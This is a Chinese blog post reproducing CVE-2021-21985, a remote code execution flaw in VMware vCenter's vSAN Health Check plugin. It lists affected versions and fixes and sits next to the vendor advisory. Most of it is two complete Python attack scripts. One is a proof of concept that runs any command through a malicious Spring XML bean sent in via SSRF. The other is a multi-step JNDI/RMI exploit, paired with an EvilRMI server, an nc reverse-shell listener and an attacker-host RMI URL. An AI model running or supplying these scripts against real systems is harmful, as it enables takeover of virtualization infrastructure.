(复现)CVE-2021-21985 Vmware vcenter远程代码执行RCE

0x00 简介

        vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi、vCenter Server 等一系列的软件。其中 vCenter Server 为 ESXi 的控制中心,可从单一控制点统一管理数据中心的所有 vSphere 主机和虚拟机,使得 IT 管理员能够提高控制能力,简化入场任务,并降低 IT 环境的管理复杂性与成本。        

0x01 漏洞概述

        该漏洞由于vCenter Server默认启用的插件Virtual SAN Health Check缺少输入验证导致的。能通过443端口访问到vSphere Client(HTML5)的攻击者,可以构造特殊的请求包在目标机器上执行任意代码。

0x02 影响版本

VMware:vCenter Server:

  • 非7.0 U2b版本的7.0版本
  • 非6.7 U3n版本的6.7版本
  • 非6.5 U3p版本的6.5版

VMware:Cloud Foundation:

  • 低于4.2.1版本的4.x版本
  • 低于3.10.2.1版本的3.x版本

0x03 漏洞利用

环境搭建可参考https://blog.csdn.net/z136370204/article/details/111719373,此文不表。

1、首先使用POC执行whoami来测试是否存在该漏洞。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""
import base64
import sys
import zipfile
from urllib.parse import urlparse

import zlib
import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}

def banner():
    print("""
==============================================================
         _____           _              _____   _____ ______ 
        / ____|         | |            |  __ \ / ____|  ____|
 __   _| |     ___ _ __ | |_ ___ _ __  | |__) | |    | |__   
 \ \ / / |    / _ \ '_ \| __/ _ \ '__| |  _  /| |    |  __|  
  \ V /| |___|  __/ | | | ||  __/ |    | | \ \| |____| |____ 
   \_/  \_____\___|_| |_|\__\___|_|    |_|  \_\\_____|______|
                                                             
                              Powered by r0cky Team ZionLab
==============================================================
    """)



def create_xml():

    print("[*] Create Xml to offline_bundle.xml ...")
    context = """<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder">
        <constructor-arg>
          <list>
            <value>/bin/bash</value>
            <value>-c</value>
            <value><![CDATA[ {cmd} 2>&1 ]]></value>
          </list>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.io.InputStreamReader">
        <constructor-arg>
            <value>#{pb.start().getInputStream()}</value>
        </constructor-arg>
    </bean>
    <bean id="br" class="java.io.BufferedReader">
        <constructor-arg>
            <value>#{is}</value>
        </constructor-arg>
    </bean>
    <bean id="collectors" class="java.util.stream.Collectors"></bean>
    <bean id="system" class="java.lang.System">
        <property name="whatever" value="#{ system.setProperty(&quot;output&quot;, br.lines().collect(collectors.joining(&quot;\n&quot;))) }"/>
    </bean>
</beans>
""".replace("{cmd}", cmd)
    with open('offline_bundle.xml', 'w') as wf:
        wf.write(context)
        wf.flush()

def create_zip():
    print("[*] Create Zip to offline_bundle.zip ...")
    with zipfile.ZipFile('offline_bundle.zip', 'w', zipfile.ZIP_DEFLATED) as zp:
        zp.write('offline_bundle.xml')

def toBase64():
    with open('offline_bundle.zip', 'rb') as rf:
        return base64.b64encode(rf.read())

def poc1(url):
    ssrf_str = "https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,{}%23"
    ssrf = ssrf_str.format(bytes.decode(toBase64()))

    print ("[*] Get XML to SystemProperties  ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages"

    data = {"methodInput":[[ssrf]]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)


def poc2(url):

    print("[*] getProperty   ...")
    target = url + "/ui/h5-vsan/rest/proxy/service/systemProperties/getProperty"

    data = {"methodInput": ["output", None]}

    r = requests.post(target, data=json.dumps(data), headers=headers,
                      verify=False, proxies=proxies)
    if "result" in r.json():
        print("[+] Command:", cmd)
        print(r.json()['result'])
    else:
        print ("[-] send payload failed.")

headers = {"Content-Type": "application/json"}

def main(url):
    try:
        create_xml()
        create_zip()
        poc1(url)
        poc2(url)
    except:
        print("[-] send payload failed.")

if __name__ == '__main__':
    banner()
    try:
        target = sys.argv[1]
        cmd = sys.argv[2]
        up = urlparse(target)
        target = up.scheme + "://" + up.netloc
        main(target)
    except:
        print("Example: \n\tpython3 " + sys.argv[0] + " <target> <cmd>\n")

该POC创建了一个恶意xml文件,打包成zip,并base64后通过特定格式发送,返回包含result字段,及证明存在该漏洞。

2、使用EXP反弹Shell

#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
@Author: r0cky
@Time: 2021/6/3-16:57
"""

import sys
from urllib.parse import urlparse

import json
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies={'https':'http://127.0.0.1:8080'}


def banner():
    print("""
==============================================================
         _____           _              _____   _____ ______ 
        / ____|         | |            |  __ \ / ____|  ____|
 __   _| |     ___ _ __ | |_ ___ _ __  | |__) | |    | |__   
 \ \ / / |    / _ \ '_ \| __/ _ \ '__| |  _  /| |    |  __|  
  \ V /| |___|  __/ | | | ||  __/ |    | | \ \| |____| |____ 
   \_/  \_____\___|_| |_|\__\___|_|    |_|  \_\\_____|______|
                                                             
                              Powered by r0cky Team ZionLab
==============================================================
    """)


def payload1(url):
    print ("[*] Step 1 setTargetObject to null ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetObject"

    data = {"methodInput":[None]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload2(url)
    else:
        print ("[-] send payload failed1.")


def payload2(url):
    print("[*] Step 2 setStaticMethod to payload ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setStaticMethod"

    data = {"methodInput": ["javax.naming.InitialContext.doLookup"]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload3(url)
    else:
        print ("[-] send payload failed2.")

def payload3(url):
    print("[*] Step 3 setTargetMethod to doLookup ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setTargetMethod"

    data = {"methodInput": ["doLookup"]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload4(url)
    else:
        print ("[-] send payload failed3.")

def payload4(url):
    print("[*] Step 4 setArguments with payload args ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/setArguments"

    data = {"methodInput": [[rmi_class]]}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload5(url)
    else:
        print ("[-] send payload failed4.")

def payload5(url):
    print("[*] Step 5 initial payload class and methods ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/prepare"

    data = {"methodInput": []}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    if "result" in r.json():
        payload6(url)
    else:
        print ("[-] send payload failed5.")

def payload6(url):
    print("[*] Step 6 trigger method invoke ...")

    target = url + "/ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVmodlHelper/invoke"

    data = {"methodInput": []}

    r = requests.post(target, data=json.dumps(data), headers=headers, verify=False, proxies=proxies)

    print("[+] send payload success.")
    print()
    print("[END] VMWare vCenter RCE Done.")

headers = {"Content-Type": "application/json"}

if __name__ == '__main__':
    banner()
    try:
        target = sys.argv[1]
        rmi_class = sys.argv[2]
        up = urlparse(target)
        target = up.scheme + "://" + up.netloc
        payload1(target)
    except:
        print("Example: \n\tpython3 " + sys.argv[
            0] + " <target> <rmi://ip/class>\n")

首先需要启动RMI,

java -cp JNDI-Injection-Bypass-1.0-SNAPSHOT-all.jar payloads.EvilRMI x.x.x.x

然后开启reverse shell监听

nc -lvnp 5555

 最后执行EXP

python3 CVE-2021-21985_exp.py https://vulip:port rmi://attip:1097/ExecByEL

复现中发现该EXP的payload5和payload6函数中的None要删掉,不然会失败。

0x04 修复方式

VMware:vCenter Server:

  • 7.0版本升级到7.0 U2b
  • 6.7版本升级到6.7 U3n
  • 6.5版本升级到6.5 U3p

VMware:Cloud Foundation:

  • 4.x版本升级到4.2.1
  • 3.x版本升级到3.10.2.1

官方公告:

https://www.vmware.com/security/advisories/VMSA-2021-0010.html

Referer:

1、https://github.com/r0ckysec/CVE-2021-21985

2、https://github.com/xnianq/cve-2021-21985_exp

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值